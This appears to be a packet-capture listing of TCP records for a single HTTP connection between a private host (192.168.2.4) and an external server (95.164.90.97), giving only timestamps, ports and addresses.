Oct 7, 2024 03:15:48.580560923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580579042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.580579996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580588102 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.580595970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580612898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580634117 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.580640078 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580656052 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580672026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580673933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.580688000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580703974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580720901 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.580730915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580746889 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580758095 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.580763102 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580780029 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580789089 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.580809116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580813885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.580827951 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580845118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580853939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.580874920 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580893993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580894947 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.580918074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580941916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.580944061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.580966949 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.580985069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581001043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581005096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581020117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581032991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581037045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581063986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581064939 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581094027 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581109047 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581110001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581125975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581132889 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581151962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581167936 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581176043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581186056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581202984 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581212997 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581232071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581240892 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581248999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581265926 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581271887 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581284046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581304073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581310034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581321001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581338882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581353903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581356049 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581372976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581387043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581388950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581408024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581418991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581434011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581446886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581453085 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581474066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581484079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581501961 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581512928 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581518888 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581542969 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581547976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581564903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581582069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581587076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581602097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581612110 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581629038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581645966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581654072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581665039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581695080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581723928 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581736088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581753016 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581768990 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581780910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581784964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581804991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581809044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581830978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581845999 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581849098 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581865072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581873894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581883907 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581898928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581914902 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581927061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581942081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581954002 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581971884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.581980944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.581988096 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582005024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582005024 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.582021952 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582048893 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.582050085 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582072973 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582089901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582096100 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.582119942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.582122087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582139015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582156897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582161903 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.582175016 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582202911 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.582226038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.582228899 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582246065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582262039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582272053 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.582288980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582300901 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.582307100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582323074 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582336903 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.582340956 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582381010 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.582400084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582415104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582441092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.582443953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582469940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582482100 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.582489014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582504034 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.582506895 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582524061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.582532883 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.582571983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.604634047 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.604684114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.604701996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.604717016 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.604732037 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.604748964 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.604764938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.604793072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.604980946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667325020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667360067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667377949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667406082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667407036 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667422056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667435884 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667452097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667465925 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667470932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667489052 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667505026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667526007 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667526960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667543888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667555094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667571068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667572021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667588949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667606115 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667619944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667624950 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667637110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667645931 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667653084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667670965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667675018 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667685986 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667714119 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667716026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667732954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667738914 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667761087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667777061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667783022 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667792082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667818069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667823076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667834997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667845964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667861938 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667885065 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667890072 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667906046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667920113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667936087 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667952061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667958975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.667968988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.667984009 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668006897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668021917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668023109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668039083 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668046951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668054104 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668068886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668072939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668087006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668103933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668138981 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668365002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668407917 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668534040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668557882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668572903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668575048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668589115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668600082 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668620110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668626070 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668637037 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668652058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668663979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668669939 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668685913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668699980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668703079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668730974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668737888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668749094 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668765068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668771982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668781042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668797970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668813944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668813944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668852091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668855906 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668868065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668889999 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668895006 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668911934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668926001 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668926001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668941975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668952942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668967962 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668982983 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.668992043 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.668999910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669018030 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669027090 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669042110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669043064 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669058084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669071913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669085026 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669087887 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669105053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669127941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669131994 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669151068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669152021 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669167995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669184923 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669199944 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669209957 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669229031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669243097 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669248104 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669258118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669267893 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669275045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669290066 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669308901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669316053 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669328928 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669336081 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669347048 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669359922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669363022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669379950 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669395924 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669409990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669414043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669430017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669445038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669445992 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669462919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669483900 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669486046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669503927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669508934 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669519901 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669536114 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669536114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669553041 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669569016 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669570923 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669595957 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669610977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669615984 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669627905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669637918 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669653893 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669668913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669683933 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669692993 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669701099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669719934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669735909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669745922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669745922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669751883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669768095 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669783115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669790030 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669799089 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669815063 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669831038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669831038 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669848919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:48.669868946 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:48.669897079 CEST	49737	80	192.168.2.4	95.164.90.97
